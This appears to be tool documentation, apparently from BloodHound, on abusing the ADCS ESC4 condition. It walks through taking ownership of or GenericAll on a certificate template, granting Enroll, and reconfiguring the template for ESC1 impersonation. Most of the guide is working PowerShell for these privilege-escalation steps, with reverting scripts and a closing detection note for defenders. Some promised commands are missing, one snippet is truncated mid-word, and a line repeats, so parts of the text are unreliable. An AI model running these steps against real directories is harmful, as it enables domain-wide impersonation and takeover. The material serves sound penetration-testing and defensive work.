The ADCSESC4 edge indicates that the principal has the privileges to perform the ADCS ESC4 abuse against the target AD domain.
The principal has permissions to modify the settings on one or more certificate templates, enabling the principal configure the certificate templates for ADCS ESC1 conditions, which allows them to specify an alternate subject name and use the certificate for authentication. They also has enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication and chains up to a root CA for the forest. This setup lets the principal modify the certificate templates to allow enrollment as any targeted AD forest user or computer without knowing their credentials, and impersonation of those targets by certificate authentication.
Use the following PowerShell snippet to check the current ownership on the certificate template:
Copy
Ask AI
$templateName = "TemplateName" # Use CN, not display name# Find the certificate template$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"# Print the owner$acl = $template.psbase.ObjectSecurity$acl.Owner
Use the following PowerShell snippet to grant the principal ownership on the certificate template:
Copy
Ask AI
$templateName = "TemplateName" # Use CN, not display name$principalName = "principal" # SAM account name of principal# Find the certificate template$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"# Set owner$acl = $template.psbase.ObjectSecurity$account = New-Object System.Security.Principal.NTAccount($principalName)$acl.SetOwner($account)$template.psbase.CommitChanges()
Confirm that the ownership was changed by running the first script again.After abuse, set the ownership back to previous owner using the second script.
Confirm that the ownership was changed by running the first script again.After abuse, set the ownership back to previous owner using the second script.
Step 0.2: Obtain GenericAll (WriteOwner, Owns, or WriteDacl only)
If you only have WriteOwner, Owns, or WriteDacl on the affected certificate template, then you need to grant your principal GenericAll over the template.
Use the following PowerShell snippet to grant the principal GenericAll on the certificate template:
Copy
Ask AI
$templateName = "TemplateName" # Use CN, not display name$principalName = "principal" # SAM account name of principal# Find the certificate template$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"# Construct the ACE$account = New-Object System.Security.Principal.NTAccount($principalName)$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule($sid,[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,[System.Security.AccessControl.AccessControlType]::Allow)# Add the new ACE to the ACL$acl = $template.psbase.ObjectSecurity$acl.AddAccessRule($ace)$template.psbase.CommitChanges()
Confirm that the GenericAll ACE was added:
Copy
Ask AI
$templateName = "TemplateName" # Use CN, not display name$principalName = "principal" # SAM account name of principal# Find the certificate template$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"# Print ACEs granted to the principal$acl = $template.psbase.ObjectSecurity$acl.Access | ? { $_.IdentityReference -like "*$principalName" }
After abuse, remove the GenericAll ACE you added:
Copy
Ask AI
$templateName = "TemplateName" # Use CN, not display name$principalName = "principal" # SAM account name of principal# Find the certificate template$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"# Construct the ACE$account = New-Object System.Security.Principal.NTAccount($principalName)$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule($sid,[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,[System.Security.AccessControl.AccessControlType]::Allow)# Remove the ACE from the ACL$acl = $template.psbase.ObjectSecurity$acl.RemoveAccessRuleSpecific($ace)$template.psbase.CommitChanges()
Step 0.3: Make certificate template ESC1 abusable (Linux only)
If you have an GenericAll edge to the CertTemplate node, or if you have just granted yourself GenericAll, then you can use this step from a Linux host to make the template abuseable to ESC1 using Certipy.If you do not have GenericAll on the CertTemplate or if you are operation from a Windows host, continue to the next step.Overwrite the configuration of the certificate template to make it vulnerable to ESC1:
Restoring the configuration is vital as the vulnerable configuration grants Full Control to Authenticated Users.The certificate template is now vulnerable to the ESC1 technique. See ADCSESC1 for instructions.
Step 1: Ensure the certificate template allows for client authentication
The certificate template allows for client authentication if the CertTemplate node’s Authentication Enabled (authenticationenabled) is set to True. In that case, continue to the next step.
Use the following PowerShell snippet to check the values of the pKIExtendedKeyUsage and msPKI-Certificate-Application-Policy attributes of the certificate template:
Copy
Ask AI
$templateName = "TemplateName" # Use CN, not display name# Find the certificate template$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)$searcher = New-Object DirectoryServices.DirectorySearcher$searcher.SearchRoot = $ldap$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"$template = $searcher.FindOne().GetDirectoryEntry()# Print attributesWrite-Host "pKIExtendedKeyUsage: $($template.Properties["pKIExtendedKeyUsage"])"Write-Host "msPKI-Certificate-Application-Policy: $($template.ProTo run the LDAP query as another principal, replace DirectoryEntry($ldapPath) with DirectoryEntry($ldapPath, $ldapUsername, $ldapPassword) to specify the credentials of the principal.
Check the current value of the msPKI-Certificate-Application-Policy and pKIExtendedKeyUsage attribute on the certificate template using ldapsearch and note it down for later:
Run the first two command again to confirm the attributes have been set.After abuse, set the attributes back to the original value by running the commands to set the values, but with the original values instead. To set multiple EKUs, use this format:
Step 2: Ensure the certificate template requires enrollee to specify Subject Alternative Name (SAN)
The certificate template requires the enrollee to specify SAN if the CertTemplate node’s Enrollee Supplies Subject (enrolleesuppliessubject) is set to True. In that case, continue to the next step.The certificate template requires the enrollee to specify SAN if the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is enabled in the certificate template’s msPKI-Certificate-Name-Flag attribute.
Use the following PowerShell snippet to check the value of the msPKI-Certificate-Name-Flag attribute of the certificate template and its enabled flags:
To run the LDAP query as another principal, replace DirectoryEntry(ldapPath)withDirectoryEntry(ldapPath, ldapUsername,ldapPassword) to specify the credentials of the principal.Run the first PowerShell snippet again to confirm the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag has been enabled.After abuse, remove the flag by running the script that flips the flag once again.
Run the first command again to confirm the attribute has been set.After abuse, set the attribute back to the original value by running the command that sets the value, but with the original value instead of 1.
Step 3: Ensure the certificate template does not require manager approval
The certificate template does not require manager approval if the CertTemplate node’s Requires Manager Approval (requiresmanagerapproval) is set to False. In that case, continue to the next step.The certificate template requires manager approval if the CT_FLAG_PEND_ALL_REQUESTS flag is enabled in the certificate template’s msPKI-Enrollment-Flag attribute.
To run the LDAP query as another principal, replace DirectoryEntry(ldapPath)withDirectoryEntry(ldapPath, ldapUsername,ldapPassword) to specify the credentials of the principal.Run the first PowerShell snippet again to confirm the CT_FLAG_PEND_ALL_REQUESTS flag has been enabled.After abuse, remove the flag by running the script that flips the flag once again.
Run the first command again to confirm the attribute has been set.After abuse, set the attribute back to the original value by running the command to set the value, but with the original value instead of 0.
Step 4: Ensure the certificate template does not require authorized signatures
The certificate template does not require authorized signatures if the CertTemplate node’s Authorized Signatures Required (authorizedsignatures) is set to 0 or if the Schema Version (schemaversion) is 1. In that case, continue to the next step.The certificate template requires authorized signatures if the certificate template’s msPKI-RA-Signature attribute value is more than zero.
$templateName = "TemplateName" # Use CN, not display name$noSignatures = [Int32]0# Find the certificate template$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)$searcher = New-Object DirectoryServices.DirectorySearcher$searcher.SearchRoot = $ldap$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"$template = $searcher.FindOne().GetDirectoryEntry()# Set No. of authorized signatures required$template.Properties["msPKI-RA-Signature"].Value = $noSignatures$template.CommitChanges()$ldap.Close()
To run the LDAP query as another principal, replace DirectoryEntry(ldapPath)withDirectoryEntry(ldapPath, ldapUsername,ldapPassword) to specify the credentials of the principal.Run the first PowerShell snippet again to confirm the msPKI-RA-Signature attribute has been set.After abuse, set the msPKI-RA-Signature attribute back to the original value by running PowerShell snippet that sets the value, but with the original value instead of 0.
Run the first command again to confirm the attribute has been set.After abuse, set the attribute back to the original value by running the command that sets the value, but with the original value instead of 0.
Step 5: Ensure the principal has enrollment rights on the certificate template
The principal does have enrollment rights on the certificate template if BloodHound returns a path for this Cypher query (replace “PRINCIPAL@DOMAIN.NAME” and “CERTTEMPLATE@DOMAIN.NAME” with the names of the principal and the certificate template):
Copy
Ask AI
MATCH p = (x)-[:MemberOf*0..]->()-[:Enroll|AllExtendRights|GenericAll]->(ct:CertTemplate)WHERE x.name = "PRINCIPAL@DOMAIN.NAME" AND ct.name = "CERTTEMPLATE@DOMAIN.NAME"RETURN p
Use the following PowerShell snippet to grant the principal Enroll on the certificate template:
Copy
Ask AI
$templateName = "TemplateName" # Use CN, not display name$principalName = "principal" # SAM account name of principal# Find the certificate template$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"# Construct the ACE$objectTypeByteArray = [GUID]"0e10c968-78fb-11d2-90d4-00c04f79dc55"$inheritedObjectTypeByteArray = [GUID]"00000000-0000-0000-0000-000000000000"$account = New-Object System.Security.Principal.NTAccount($principalName)$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule($sid,[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,[System.Security.AccessControl.AccessControlType]::Allow,$objectTypeByteArray,[System.Security.AccessControl.InheritanceFlags]::None,$inheritedObjectTypeByteArray)# Add the new ACE to the ACL$acl = $template.psbase.ObjectSecurity$acl.AddAccessRule($ace)$template.psbase.CommitChanges()
Confirm that the Enroll ACE was added:
Copy
Ask AI
$templateName = "TemplateName" # Use CN, not display name$principalName = "principal" # SAM account name of principal# Find the certificate template$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"# Print ACEs granted to the principal$acl = $template.psbase.ObjectSecurity$acl.Access | ? { $_.IdentityReference -like "*$principalName" }
After abuse, remove the Enroll ACE you added:
Copy
Ask AI
$templateName = "TemplateName" # Use CN, not display name$principalName = "principal" # SAM account name of principal# Find the certificate template$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"# Construct the ACE$objectTypeByteArray = [GUID]"0e10c968-78fb-11d2-90d4-00c04f79dc55"$inheritedObjectTypeByteArray = [GUID]"00000000-0000-0000-0000-000000000000"$account = New-Object System.Security.Principal.NTAccount($principalName)$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule($sid,[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,[System.Security.AccessControl.AccessControlType]::Allow,$objectTypeByteArray,[System.Security.AccessControl.InheritanceFlags]::None,$inheritedObjectTypeByteArray)# Remove the ACE from the ACL$acl = $template.psbase.ObjectSecurity$acl.RemoveAccessRuleSpecific($ace)$template.psbase.CommitChanges()
When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate.